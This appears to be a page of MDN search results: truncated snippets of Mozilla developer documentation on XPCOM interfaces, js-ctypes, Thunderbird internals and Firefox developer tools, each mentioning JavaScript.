...Debugger = Components.classes["@mozilla.org/jsdebugger;1"] .createInstance(Components.interfaces.IJSDebugger); Note: You should almost never directly use this service; instead, you should use the
JavaScript code module that does this for you. The only time you should directly use this interface to create the Debugger object is if you need to debug chrome; due to bug 707237, the
JavaScript code module doesn't work in that case. See the
JavaScript Debugger API Guide for details on using the Debugger API. Method overview [implicit_jscontext] void addClass(); Methods addClass() Defines the global Debugger constructor. On return, the Debugger object has been added to the global context. [implicit_jscontext] void addClass(); Parameters None. See also JS Debug...
nsIAccessibleHyperLink
e link is invalid via the aria-invalid='true' attribute. In all other cases, true is returned. Exceptions thrown NS_ERROR_FAILURE Indicates that the accessible is unattached from the accessible tree. Methods Returns a reference to the object at the given index. Note: ARIA hyperlinks do not have an anchor accessible to point to, since clicks are processed via
JavaScript. Note: In the case of an image map there is more than one link represented by this accessible. nsIAccessible getAnchor( in long index ); Parameters index The 0-based index whose object is to be returned. Return value The nsIAccessible object at the desired index. getURI() Returns the URI at the given index. Note: ARIA hyperlinks do not have an URI to point to, since clicks are proc...
... the case of an image map there is more than one link represented by this accessible. nsIAccessible getAnchor( in long index ); Parameters index The 0-based index whose object is to be returned. Return value The nsIAccessible object at the desired index. getURI() Returns the URI at the given index. Note: ARIA hyperlinks do not have an URI to point to, since clicks are processed via
JavaScript. Therefore this property does not work on ARIA links. nsIURI getURI( in long index ); Parameters index The 0-based index of the URI to be returned. Return value The nsIURI object containing the specifications for the URI. isSelected() Obsolete since Gecko 1.9 (Firefox 3) Note: Has been replaced by the selected attribute. boolean isSelected(); Parameters ...
nsIDocShell
s because it can act as a password trojan. allowDNSPrefetch boolean Attribute that determines whether DNS prefetch is allowed for this subtree of the docshell tree. Defaults to true. Setting this will make it take effect starting with the next document loaded in the docshell. allowImages boolean Attribute stating whether or not images should be loaded. allow
Javascript boolean Whether to allow
Javascript execution. allowMedia boolean Attribute stating whether or not media (audio/video) should be loaded. allowMetaRedirects boolean Attribute stating if refresh based redirects can be allowed. allowPlugins boolean Whether to allow plugin execution. allowSubframes boolean Attribute stating if it shou...
....0 by the way is the default of zoom. This means 100% of normal scaling or in other words normal size no zoom. Constants Constant Value Description INTERNAL_LOAD_FLAGS_NONE 0x0 Used as a placeholder when you don't want to explicitly specify flags. INTERNAL_LOAD_FLAGS_INHERIT_OWNER 0x1 Used to indicate that it may be safe to inherit the owner of a
javascript: or data: URL from the existing document. INTERNAL_LOAD_FLAGS_DONT_SEND_REFERRER 0x2 Used to indicate that the load was caused by a meta refresh and the current document URI shouldn't be sent as the HTTP referrer. INTERNAL_LOAD_FLAGS_ALLOW_THIRD_PARTY_FIXUP 0x4 Used to indicate that LOAD_FLAGS_ALLOW_THIRD_PARTY_FIXUP was passed as one of the flags to loadURI(). ...
nsIFile
sing a platform specific path string or by using cross-platform locations retrieved from the directory service. All methods with string parameters have two forms. The preferred form operates on UTF-16 encoded characters strings. An alternate form operates on characters strings encoded in the "native" charset. A string containing characters encoded in the native charset cannot be safely passed to
javascript via xpconnect. Therefore, the UTF-16 forms are scriptable, but the "native methods" are not. In addition, the native form cannot deal with files whose name contains characters outside the default system code page on Windows. Using the native form limits the ability of your code to deal with the full Unicode support on Windows 2000 or later where the OS itself does not have such a limitation. Ther...
...PE and LANG environment variables (with the precedence the same as the order they're enumerated). On Win32 platforms, it is the currently selected ANSI codepage (specified by CP_ACP). The word "Native" appears in the name of methods that operate on or return strings encoded in the native character set. A string containing characters encoded in the native character set cannot be safely passed to
JavaScript via XPConnect. Therefore, the "native" methods and attributes are not scriptable. XPCOM provides the string conversion functions NS_CStringToUTF16 and NS_UTF16ToCString, which can be used to convert a string between UTF-16 and the native character encoding. This interface was frozen for Gecko 1.0. See bug 129279 for details. From Gecko 2.0 interfaces are no longer frozen. See also nsILocalF...
nsIMsgCustomColumnHandler
ane for extensions to overlay their own columns. mailnews/base/public/nsIMsgCustomColumnHandler.idlScriptable Please add a summary to this article. Last changed in Gecko 1.9 (Firefox 3) Inherits from: nsITreeView This interface is meant to be implemented by extensions, as shown in the tutorial. The interface inherits from nsITreeView, however when you're implementing a custom handler in
Javascript its not necessary to implement all of nsITreeView's methods. You must implement: nsITreeView.isEditable() nsITreeView.GetCellProperties() nsITreeView.GetImageSrc() nsITreeView.GetCellText() nsITreeView.cycleCell() nsIMsgCustomColumnHandler.getSortStringForRow() nsIMsgCustomColumnHandler.getSortLongForRow() nsIMsgCustomColumnHandler.isString() and optionally: nsITreeView.GetRowProperties() From ...
... nsITreeView.GetCellProperties() nsITreeView.GetImageSrc() nsITreeView.GetCellText() nsITreeView.cycleCell() nsIMsgCustomColumnHandler.getSortStringForRow() nsIMsgCustomColumnHandler.getSortLongForRow() nsIMsgCustomColumnHandler.isString() and optionally: nsITreeView.GetRowProperties() From C++ you must implement all of nsITreeView and nsIMsgCustomColumnHandler. ...
nsIScriptError2
1.0 66 Introduced Gecko 2.0 Obsolete Gecko 12.0 Inherits from: nsIScriptError Last changed in Gecko 9.0 (Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6) In Gecko 12.0 this Interface was merged into the nsIScriptError interface. ...
...tWithWindowID() void init( in wstring message, in wstring sourceName, in wstring sourceLine, in PRUint32 lineNumber, in PRUint32 columnNumber, in PRUint32 flags, in string category, in unsigned long long innerWindowID ); Parameters message The text of the message to add to the log. sourceName The URL of the file in which the error occurred. This will be a hyperlink in the
JavaScript Console, so you should use a real URL. You may pass null if it's not applicable. sourceLine The line number in the source file on which the error occurred. You are responsible for providing that line. You may pass null if you are lazy; that will prevent showing the source line in
JavaScript Console. lineNumber The number of the line where the error occurred. columnNumber The column number w...
nsIScriptableInputStream
ed. read() Read data from the stream. Warning: If the data contains a null byte, then this method will return a truncated string. Note: It is also important to consider how a language bindings may interpret the string data type. In particular, some bindings may convert the byte values into Unicode code points, by assuming the byte values are encoded as ISO-Latin-1. This is the case for the
JavaScript bindings. string read( in unsigned long aCount ); Parameters aCount The maximum number of bytes to read from the stream. Return value The data read as a string, which will be an empty string if the stream is at EOF. Exceptions thrown NS_ERROR_NOT_INITIALIZED If init() was not called. NS_BASE_STREAM_CLOSED If called after the stream has been closed. NS_BASE_STREAM...
...aximum number of bytes to read. Return value The data from the stream, which will be an empty string if EOF has been reached. Exceptions thrown NS_ERROR_FAILURE If there are not enough bytes available to read aCount amount of data. NS_BASE_STREAM_WOULD_BLOCK If reading from the input stream would block the calling thread (non-blocking mode only). Remarks This interface provides
JavaScript with a way to read ASCII text from a nsIInputStream. However, it does not address the problem of reading arbitrary binary data from a stream. For binary input see nsIBinaryInputStream. Note: Starting in Gecko 2.0, you can use the NetUtils.jsm
JavaScript code module and its readInputStreamToString() method to read arbitrary binary data into a
JavaScript string. The nsScriptableInputStream compo...
nsIScriptableUnicodeConverter
intl/uconv/idl/nsIScriptableUConv.idlScriptable This interface is a Unicode encoder for use by scripts. Inherits from: nsISupports Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) Implemented by: @mozilla.org/intl/scriptableunicodeconverter. ...
... intl/uconv/idl/nsIScriptableUConv.idlScriptable This interface is a Unicode encoder for use by scripts. Inherits from: nsISupports Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) Implemented by: @mozilla.org/intl/scriptableunicodeconverter. ...
nsISupports proxies
owsers, its use is discouraged since it could be removed at any time. Try to avoid using it. XPCOM proxies were a technology which allowed code to make asynchronous or synchronous XPCOM calls to a different thread on arbitrary XPCOM interfaces. This technology has been removed in Firefox 12 because it was very complex and often lead to strange deadlock conditions. It is no longer needed because
JavaScript code can no longer run on arbitrary threads, and compiled code can use compiled runnable to achieve the same effect in a much simpler manner. For more information about alternatives, see Making cross-thread calls using runnables. The following interface is now obsolete: nsIProxyObjectManager. About XPCOM proxies A proxy, in this context, is a stub object which enables a method of any class w...
...r. For more information about alternatives, see Making cross-thread calls using runnables. The following interface is now obsolete: nsIProxyObjectManager. About XPCOM proxies A proxy, in this context, is a stub object which enables a method of any class which is derived from nsISupports and has a typelib to be called on any in-process thread. The main reason for nsISupports Proxies is that
JavaScript and UI are on a single thread. When one is busy, the other is blocked. A good example of this is the old install.js scripts that were used in XPInstall in older Mozilla versions. They from the majority of
JavaScript code, which is small and can be quickly run. XPInstall installation scripts are sometimes very complex and can require long execution time due to unzipping or native file system actio...
nsIWindowsRegKey
ues defined above. openChild() This method opens a subkey relative to this key. This method fails if the key does not exist. nsIWindowsRegKey openChild( in AString relPath, in unsigned long mode ); Parameters relPath mode Return value nsIWindowsRegKey for the newly opened subkey. readBinaryValue() This method reads the binary contents of the named value under this key.
JavaScript callers should take care with the result of this method since it will be byte-expanded to form a JS string. (The binary data will be treated as an ISO-Latin-1 character string, which it is not). ACString readBinaryValue( in AString name ); Parameters name The name of the value to query. Return value The binary contents of the named value under this key. readInt64Value() This method r...
...rs recurse Indicates whether or not to also watch child keys. stopWatching() This method stops any watching of the key initiated by a call to startWatching(). This method does nothing if the key is not being watched. void stopWatching(); Parameters None. writeBinaryValue() This method writes the binary contents of the named value. The value will be created if it does not already exist.
JavaScript callers should take care with the value passed to this method since it will be truncated from a JS string (unicode) to a ISO-Latin-1 string. (The binary data will be treated as an ISO-Latin-1 character string, which it is not). So,
JavaScript callers should only pass character values in the range \u0000 to \u00FF, or else data loss will occur. void writeBinaryValue( in AString name, in ACStri...
nsIXPCException
js/src/xpconnect/idl/xpcexception.idlScriptable These exception objects are the preferred types of exceptions when implementing xpcom interfaces in
JavaScript. Inherits from: nsIException Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0) Method overview void initialize(in string aMessage, in nsresult aResult, in string aName, in nsIStackFrame aLocation, in nsISupports aData, in nsIException aInner); xpcexJSVal stealJSVal(); Native code only! void stowJSVal(in xpcexJSContextPtr cx, in xpcexJSVal val); Native code only! Methods initialize() void initialize( in string aMessage, in nsresult aResult, in string aName, in nsIStackFrame aLocation, in nsISupports aData, in nsIException aInner ); Parameters aMessage aResult aName aLocation aD...
... string aName, in nsIStackFrame aLocation, in nsISupports aData, in nsIException aInner ); Parameters aMessage aResult aName aLocation aData aInner Native code only!stealJSVal xpcexJSVal stealJSVal(); Parameters None. Return value Native code only!stowJSVal void stowJSVal( in xpcexJSContextPtr cx, in xpcexJSVal val ); Parameters cx val Remarks Components.Exception is a
JavaScript constructor to create nsIXPCException objects. The call signature of the constructor is: Components.Exception(message, result, stack, data, inner) all parameters are optional and the appropriate placeholder is 'unknown'. message - A custom message set by the thrower (defaults to 'exception') result - The nsresult associated with this exception (defaults to Components.results.NS_ERROR_FAILURE) s...
nsIXULBrowserWindow
ternals of the browser area to tell the containing XUL window to update its user interface. Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) The XULBrowserWindow attribute exists on the nsIXULWindow interface although both Firefox and SeaMonkey also store their nsIXULBrowserWindow reference in the global XULBrowserWindow object accessible from
JavaScript code. Note: The XULBrowserWindow object offered to
JavaScript code provides a great many more methods and attributes than those listed here, which are only the ones available to C++ code. See the documentation for XULBrowserWindow for details. Method overview AString onBeforeLinkTraversal(in AString originalTarget, in nsIURI linkURI, in nsIDOMNode linkNode, in PRBool isAppTab); void setJSDe...
...pTab ); Parameters originalTarget The specified target for the link. linkURI The URI of the link that is about to be traversed. linkNode The nsIDOMNode representing the DOM node in which the link is located. isAppTab Whether or not the link being clicked is in an app tab. Return value A string indicating the revised target for the link. setJSDefaultStatus() Sets the default status according to
JavaScript's version of the default status. void setJSDefaultStatus( in AString status ); Parameters status The status string. setJSStatus() Sets the status according to
JavaScript's version of the status. void setJSStatus( in AString status ); Parameters status The status string. setOverLink() Tells the object implementing this function what link we are currently over. void setOverLink( in AStr...
nsIZipReader
tFile ); Parameters zipEntry The zip entry to extract. outFile The local file destination used to extract the zip entry. findEntries() Returns a string enumerator containing the matching entry names. nsIUTF8StringEnumerator findEntries( in AUTF8String aPattern ); Parameters aPattern A regular expression used to find matching entries in the zip file. Set this parameter to null (
javascript) or EmptyCString() (c++) to get all entries; otherwise, use the following syntax: * matches anything. ? matches one character. $ matches the end of the string. [abc] matches one occurrence of a, b, or c. The only character that must be escaped inside the brackets is ]. ^ and - must never appear in the first and second positions within the brackets, respectively. (In the former case, the...
... openInner() Opens a zip file inside a zip file for reading. void openInner( in nsIZipReader zipReader, in AUTF8String zipEntry ); Parameters zipReader The zipReader object. zipEntry The zip entry. test() Tests the integrity of the archive by performing a CRC check on each item expanded into memory. If an entry is specified the integrity of only that item is tested. If null (
javascript) or EmptyCString() (c++) is passed in the integrity of all items in the archive are tested. void test( in AUTF8String aEntryName ); Parameters aEntryName The single entity to check or null for checking all entries in the archive. Examples List contents of XPI and read file contents This example uses findEntries, getEntry, getInputStream, open, and close. It also uses nsIScriptableInp...
Troubleshooting XPCOM components registration
Often the first time you create an XPCOM component, it may fail to register correctly. There are several common reasons that registration can fail: A component that is a binary (shared library) fails to load A
JavaScript component has parsing errors The shared library loaded correctly, but registration was not successful Did Registration Succeed? It is important to not misdiagnose the problem. You can be certain that a component has failed to register by going to the Error Console and evaluating Components.classes["contract-id"].name where contract-id is your contract ID. If the response is your contract ID instead of an error, the component was successfully registered and this is the wrong page. Load Failure of Binary Components On the Mozilla trunk (Firefox 3, XULRunner 1.9), co...
...tiveModuleLoader:5 set NSPR_LOG_FILE=C:\Path\to\logfile "C:\Program Files\Mozilla Firefox\firefox.exe" Examining this log for warning and errors may provide valuable clues why the component failed to load. If using Firefox 4 / XULRunner 2.0, make sure that your extension is unpacked and you declared the binary component in your chrome.manifest. See XPCOM changes in Gecko 2.0 Parsing Errors in
JavaScript Components The most common reason for components written in
JavaScript to fail is that there are parsing errors. These parsing errors should show up in the Error Console if chrome errors are enabled. To learn more about enabling chrome errors, see "How can I see errors in my code" in the Extension FAQs. Registration Failure If the module is loading correctly but doesn't register its components...
Using nsIClassInfo
It just happens. How do I make my C++ class implement nsIClassInfo? See nsIClassInfoImpl.h for instructions. How does nsIClassInfo work? That's also detailed in nsIClassInfoImpl.h. ...
... It just happens. How do I make my C++ class implement nsIClassInfo? See nsIClassInfoImpl.h for instructions. How does nsIClassInfo work? That's also detailed in nsIClassInfoImpl.h. ...
Working with out parameters
( in string aFlavor, out nsISupports aData, out unsigned long aDataLen ) ; ... } The getTransferData method takes three parameters, aFlavor, aData, and aDataLen, and returns nothing. aData and aDataLen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call. These are so-called out parameters. Usage In order to use such a method from
JavaScript via XPConnect, you have to follow a specific rule. To get at the out parameters, you have to pass in an object. After the call, this object will have a new property called value, which contains the out values. Assuming you have an object called transferable, you would invoke getTransferData() as follows: var aData = {}; var aDataLen = {}; transferable.getTransferData("text/unicode", aData, aD...
...You would implement getTransferData() as follows: getTransferData: function(aFlavor, aData, aDataLen) { .. .. aData.value = resultData; aDataLen.value = resultData.length; } ...
XPCOM ABI
Often, compiled XPCOM components are called 'binary' or 'native'. A binary XPCOM component consists of an .xpt file which fits all platforms and a DLL (.dll on Windows, .so on Unix) which is platform-specific and has a certain ABI. Only applications which use this ABI could use this XPCOM component. ...
...piler ibmc - IBM C++ Compiler For example: Firefox built with the GNU C++ Compiler 4.0.0 for the Intel Pentium processor would have XPCOM ABI of x86-gcc3 The XPCOM ABI string can be retrieved programmatically by using the nsIXULRuntime interface. To retrieve the ABI of your Firefox or Thunderbird, open the Error Console (accessible through Tools | Error Console) and evaluate the following
JavaScript code: Components.classes["@mozilla.org/xre/app-info;1"] .getService(Components.interfaces.nsIXULRuntime) .XPCOMABI If either the CPU architecture or the C++ Compiler are unknown, the application wouldn't have an XPCOM ABI string and attempts to get it will result in error NS_ERROR_NOT_AVAILABLE. It would still be a distinct ABI, but we just wouldn't have a name for it. Not...
XSLT 2.0
Although XSLT 2.0 is not natively supported in Firefox, it is possible via Saxon-B (Java) or, more recently, Saxon-CE (
JavaScript) to perform XSLT 2.0. For users Saxon-CE No extensions are required, Saxon-CE runs whenever a HTML page is loaded that links to the Saxon-CE
JavaScript library. Saxon-B The XSL Results extension uses the new incarnation of LiveConnect (handled by Java 1.6v12+ instead of Mozilla-specific code) to connect with the Java-based Saxon-B library, and adds support for having XSLT performed automatically when visiting a page with the appropriate XSLT processing instruction (and which isn't processed by Firefox's own XSLT 1.0 processor). For developers Saxon-CE A
JavaScript API is provided for initiating an XSLT 2.0 transform from a web page. Error and diagnostics...
... processed by Firefox's own XSLT 1.0 processor). For developers Saxon-CE A
JavaScript API is provided for initiating an XSLT 2.0 transform from a web page. Error and diagnostics output from Saxon-CE can be reviewed in the Firefox developer console or in Firebug. Saxon-B The extension demonstrates how one can use LiveConnect code to communicate with the Saxon-B library, but one might find the
JavaScript code module approach used inside the extension XqUSEme as a more reusable approach. The code does not currently work on the Mac (except for server edition supporting Java 1.6) due to its lagging Java support (and thus LiveConnect support). ...
Address Book examples
g the propertiesChromeURI means that the different implementations can call up their own dialog. window.openDialog(addressbook.propertiesChromeURI, "editDirectory", "chrome,modal=yes,resizable=no", {selectedDirectory: addressbook}); How do I set up my own address book? As of Thunderbird 7.0, implementing your own address book type can be done with either
JavaScript or with a binary component. In either case, you'll need: A factory object implementing nsIAbDirFactory A directory object implementing nsIAbDirectory If you are using C++, you can inherit from nsAbDirProperty and override functions for your specific implementation to save implementing all the functions on nsIAbDirectory yourself. The best example of a binary implementation of an address boo...
...ry object implementing nsIAbDirFactory A directory object implementing nsIAbDirectory If you are using C++, you can inherit from nsAbDirProperty and override functions for your specific implementation to save implementing all the functions on nsIAbDirectory yourself. The best example of a binary implementation of an address book is the OS X Address Book source code. If you are implementing in
JavaScript then you will have to implement the full interfaces mentioned above. At the moment, the best example of this is the EDS contacts integration add-on. Once you've added your own address book implementation, you might also want to extend the address book user interface. How do I extend the address book user interface? There are several hooks in the address book code exposed to add-on developers t...
Mail and RDF
Datasources and the UI Mail does not link the UI to datasources in a "traditional" manner. Instead of having a singleton datasource that is shared across all UI components, we have per-view datasources. This allows each template-based widget to maintain view/window-specific data with each datasource. For example...??? (sorting? what else do we store?) Datasources are created when each window's
JavaScript is loaded by declaring the datasource variables in the source
javascript as global variables. In the document's onload= handler the datasources are attached to their respective widgets by setting the database property on each RDF template's parent element. Reflecting data to RDF In order to have a dynamic UI that updates when the underlying content changes, a datasource must implement two key m...
...e is the rational behind this design: It keeps all RDF datasource-related code in one place and out of the messages and folders themselves. This allows the mail code to be mostly free of RDF. The actual dependancies on RDF are small, so it makes sense to keep RDF out of folders and messages. There should be a non-RDF mechanism for folder change notification. There are times (for example, from
JavaScript/XUL) where we want folder notifications that have nothing to do with RDF. Requring these listeners to use RDF would be unnecessarily burdening them with an unnecessary API. The folders or the mail session would have to know about every RDF observer on each datasource. This means the folder would have to notify each of those observers. This design allows each datasource to manage its own observer...
Main Windows
Its main focus is on handling the folderpane, threadpane, and the message preview sections shown above. The rest is loaded from overlays: mailWindowOverlay.xul This is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of Thunderbird, along with a whole lot of
Javascript. mailOverlay.xul A really small overlay that only adds a few "New message" and "New Card" commands to the menus, along with their associated
javascript. msgHdrViewOverlay.xul Shown in blue above (where?), this overlay consists of three boxes. Two are stacked showing either a brief or expanded view of the headers. The third is the attachment box which can be toggled into a slim or an expanded ...
...cks the folder and threadpanes normally shown. Menus, toolbar buttons, and headers are all taken from exactly the same overlays listed above though. mailWindowOverlay.xul This is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.It also includes most of the commands, keysets, and context menus of Thunderbird, along with a whole lot of
Javascript. msgHdrViewOverlay.xul Shown in blue above, this overlay consists of three boxes. Two are stacked showing either a brief or expanded view of the headers. The third is the attachment box which can be toggled into a slim or an expanded view baseMenuOverlay.xul Contains the contents of most of the menus (i.e. File, Edit, View, etc). OSX Only: macMenuOverlay.xul A special overlay for OSX that a...
Using Mozilla code in other projects
There are several ways you can use Mozilla code in your own project. Mozilla provides a development platform for desktop applications, called XUL, atop which you can build applications. Various components of the platform, such as the SpiderMonkey
JavaScript engine, can be used in your own projects without the rest of the platform. There are also modules that aren't used in Firefox but are available for use by other applications; an example of this is Rhino, the
JavaScript engine written in Java. You can embed Gecko, the layout engine used by Firefox to process web pages, as a browser within your own application. Building XUL applications The Joy of XUL An introduction to XUL; a must read for new developers. XUL Reference The complete reference ...
...r A Mozilla runtime package that can be used to bootstrap XUL and XPCOM applications with ease. Mozilla Toolkit Information about the Mozilla Toolkit API. Signing Mozilla apps for Mac OS X How to code-sign applications based on Mozilla code for Mac OS X's application security model. Using Mozilla components SpiderMonkey SpiderMonkey is the
JavaScript runtime engine used by Mozilla projects. NSPR The Netscape Portable Runtime provides a platform-neutral API for system level and libc-type functions. Necko The Mozilla networking library provides cross-platform networking functionality. Embedding Mozilla For information on embedding a web browser into your own application see Embedding Mozilla. ...
Using Objective-C from js-ctypes
UInteger NSStringEncoding; So, our function call can be converted into the following js-ctypes code: let text = objc_msgSend(tmp2, initWithCString_encoding, ctypes.char.array()("Hello, Firefox!"), ctypes.unsigned_long(NSUTF8StringEncoding)); Converted js-ctypes code Finally, we have our converted code. This can run with a copy-and-paste into a
JavaScript shell. This example uses a busy loop, and thus, Firefox won't respond until the speaking is done. If this code were to be used in a production add-on, then to avoid Firefox locking up, run this code from a ChromeWorker. let { ctypes } = Components.utils.import("resource://gre/modules/ctypes.jsm", {}); let id = ctypes.StructType("objc_object").ptr; let SEL = ctypes.StructType("objc_selector").p...
...s.html var _NSConcreteGlobalBlock = ctypes.open(ctypes.libraryName('objc')).declare('_NSConcreteGlobalBlock', ctypes.voidptr_t); // //github.com/RealityRipple/UXP/blob/master/js/src/ctypes/Library.cpp?offset=0#271 /** * The "block descriptor" is a static singleton struct. Probably used in more * complex Block scenarios involving actual closure variables needing storage * (in `NodObjC`,
JavaScript closures are leveraged instead). */ // struct is seen here in docs: http://clang.llvm.org/docs/Block-ABI-Apple.html var Block_descriptor_1 = ctypes.StructType('Block_descriptor_1', [ { reserved: ctypes.unsigned_long_long }, { size: ctypes.unsigned_long_long } ]); /** * We have to simulate what the llvm compiler does when it encounters a Block * literal expression (see `Block-ABI-A...
Examples
Objective-C from js-ctypes An example how to use Objective-C from js-ctypes, by converting Objective-C code into C code. Using COM from js-ctypes An example how to use COM API of Windows systems from js-ctypes, by converting C++ code to C code. Using JNI from js-ctypes An example how to use Java from js-ctypes, by converting Java code into C code. js-macosx An extension that demonstrates
JavaScript-Cocoa Bridge for Mac OS X. Lightweight bridge for calling Cocoa frameworks from
JavaScript, js-macosx transparently handles definition of Cocoa API, both C and Objective-C, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing Cocoa classes. The js-macosx bridge has dependency on BridgeSupport metadata: w...
...orks from
JavaScript, js-macosx transparently handles definition of Cocoa API, both C and Objective-C, and provides automatic declarations for framework functions, structures, constants and enumerations, as well as allows creating and subclassing Cocoa classes. The js-macosx bridge has dependency on BridgeSupport metadata: whenever a Cocoa class, function, struct or const is encountered in the
JavaScript code, js-macosx will replace it with the corresponding js-ctypes declaration based on the BridgeSupport file from the framework that object belongs to. ...
Declaring types
() function, which returns a char * and accepts a pointer to a tm structure. const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); var theTime = new struct_tm; theTime.tm_hour = 3; theTime.tm_min = 15; ... var timeStr = asctime(theTime.address()); // Pass a pointer to the tm struct var jsString = timeStr.readString(); // Convert the C string to
JavaScript The last line converts the C string returned by the libc asctime() function into a
JavaScript string by calling the CData readString() method. For another example see here: GetCursorPos Opaque structures An opaque structure is one whose content fields are not known, or are not intended to be accessed directly. They can also be used to handle forward declarations, by declaring a structure as ...
...pes.StructType("anotherStruct", [ {field1: opaque.ptr} ]); someStructure.define([ { ptrToAnotherStruct: anotherStruct.ptr } ]); As you see here, the two structure types here contain pointers to each other; by making one of them opaque at first, you can declare the fields on the other one, then define the fields on the first one afterward. This works around the lack of true forward references in
JavaScript. Structures with next field It is common to see structures with a "next" field that is a pointer to itself. In order to accomplish this you can either set the type of next to ctypes.voidptr_t, or to be more accurate, use the define technique: var struct = ctypes.StructType('struct'); struct.define([{ next: struct.ptr }]); Arrays To declare a new array type, you use the ctypes.ArrayType() met...
Standard OS Libraries
CoreFoundation - CoreFoundation js-ctypes snippets that can be copied and pasted to scratchpad Cocoa See Using Objective-C from js-ctypes for more info. To call Objective-C based API from ctypes, use the following functions in libobjc.dylib: objc_getClass to get Class sel_registerName to register ...
...objc - Objective-C js-ctypes snippets that can be copied and pasted to scratchpad Android Android runs on Java and can be used by js-ctypes through the JNI libraries. Thankfully all the js-ctypes was abstracted away into JNI.jsm. Undrestanding js-ctypes is important as arra...
CType
e types, find out information about them, and so forth. The specific properties and methods on each object vary depending on the data type represented. There are several kinds of types: Primitive types These are typical unstructured data, such as the predefined types listed in Predefined data types. Big integer types The Int64 and UInt64 types provide access to 64-bit integer values, which
JavaScript doesn't currently support. PointerType These represent pointers to data in memory. FunctionType These represent callable C functions. StructType These represent C structures. ArrayType These represent C arrays. Method overview Methods available on all CType objects CType array([n]) String toSource() String toString() Properties Properties of all CTyp...
...Type representing an array of elements of the type on which it was called. CType array( [n] }; Parameters n Optional The number of elements in the declared array type. If this parameter is left out, the array's size is indeterminate. Return value A CType representing the data type "array of this type". This is the same as calling ctypes.ArrayType(the_type[, n]). toSource() Returns a
JavaScript expression that evaluates to a CType describing the same C type as this object. String toSource(); Parameters None. Return value A
JavaScript expression that evaluates to a CType describing the same C type as this object. Example ctypes.uint32_t.toSource() returns "ctypes.uint32_t". toString() Returns a string identifying the type. The format of this string is "type " + name. String to...
Library
thods let you declare symbols exported by the library, and to manage the library. Method overview close(); CData declare(name, [abi, ], returnType[, argType1, ...]); Methods close() Closes the library. You need to call this once you're done using the library. close(); Parameters None. declare() Declares an API from the native library, allowing it to be used from
JavaScript. ...
...See ABI constants. ...
URLs - Plugins
pecific filenames) Locates files on a specific host computer rather than an Internet resource. ftp (File Transfer Protocol) Locates files and directories on Internet hosts for file download. gopher (Gopher protocol) Locates specified items on a Gopher server. Obsolete since Gecko 2.0 http (Hypertext Transfer Protocol) Locates resources on the Internet.
javascript Executes
JavaScript code that follows the URL. Netscape-specific. mailto (Electronic mail address) Locates the Internet mailing address of an individual or service. nethelp Displays a NetHelp topic in a NetHelp window. Browser-specific. news (USENET news) Locates USENET news groups or individual USENET articles. nntp (USENET news using nntp acces...
... or individual USENET articles; alternate to news. prospero (Prospero Directory Service) Locates a resource on a Prospero directory server. telnet (Reference to interactive sessions) Locates an interactive service. wais (Wide Area Information Servers) Locates WAIS databases and their documents. wysiwyg Placed before another URL; displays a page that
JavaScript has updated using document.write. For more information, see RFC 3986, "Uniform Resource Identifier (URI): Generic Syntax", and the IANA URI scheme registry. Getting URLs Posting URLs Getting URLs To retrieve a URL and display it on a specified target page, use the NPN_GetURL, NPN_GetURLNotify, and NPP_URLNotify functions. This section describes the methods and procedures used for ge...
Introduction to DOM Inspector - Firefox Developer Tools
er binding, the binding menulist will list them in descending order to to "root" binding. The CSS Rules viewer shows the CSS rules that are applied to the node. Alternatively, when used in conjunction with the Style Sheets viewer, the CSS Rules viewer lists all recognized rules from that style sheet in order. Properties may be also be edited. Rules applying to pseudo-elements do not appear. The
JavaScript Object viewer gives a hierarchical tree of the object pane's subject. The
JavaScript Object viewer also allows
JavaScript to be evaluated by selecting the appropriate menuitem in the context menu. Basic actions of the DOM Nodes viewer Selecting elements by click Another powerful interactive feature of the DOM Inspector is that when you have the DOM Inspector open and have enabled this function...
...pages and interfaces were exactly the aspects of your own application development that were missing. The DOM Inspector not only presents all this information about pages in a clear and structured way, it gives you way to find and update those structures, and it's simple to access via shortcuts and menus already available in the Mozilla browser. Used in concert with Mozilla tools like Venkman, the
JavaScript debugger, the DOM Inspector can give you a complete view of any web page or DOM-based application interface. ...
Debugging service workers - Firefox Developer Tools
) { navigator.serviceWorker .register('sw.js') .then(function() { console.log('Service Worker Registered'); }); } If you get the path wrong, for example, you'll get an error in the Web Console giving you a hint as to what's wrong, which depends on what exactly is wrong with the code. If this is not enough to help you figure out the problem, you could also try going to the
JavaScript Debugger and stepping through your code to pinpoint exactly where it is going wrong. Debugging your service worker In any case, when the service worker is successfully registered, you'll see information about it displayed in the Application > Service Workers view (along with any other service workers registered on the same domain): This gives you a variety of information about your service w...
...l using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates. Debug Important: The Debug button is currently enabled only in Firefox Nightly. When your service worker is running, a Debug button is available next to the Source information (it is disabled when the service worker is stopped). When pressed, this takes you straight to the
JavaScript debugger view of your service worker code, and you can use the full power of the debugger to debug it -- stepping through code, etc. Testing a service worker cache If you are using your service worker to store your site assets in Cache Storage (using the Cache API), which is essential for creating offline apps, it can be annoying to test the cache. When you fill up the cache with assets, but ...
Browser Toolbox - Firefox Developer Tools
The Browser Toolbox's context is the whole browser rather than just single page on a single tab. Note: If you want to debug a specific add-on that is restartless or SDK-based then try the Add-on Debugger. Use the Browser Toolbox for add-ons that are neither. Enabling the Browser Toolbox The Browser Toolbox is not enabled by default. To enable it you need to check the settings "Enable chrome and addon debugging" and "Enable remote debugging". ...
... You can also open it with the Ctrl + Alt +Shift + I key combination ( Cmd + Opt +Shift + I on a Mac). You will be presented with a dialog like this (it can be removed by setting the devtools.debugger.prompt-connection property to false): Click OK, and the Browser Toolbox will open in its own window: You'll be able to inspect the browser's chrome windows and see, and be able to debug, all the
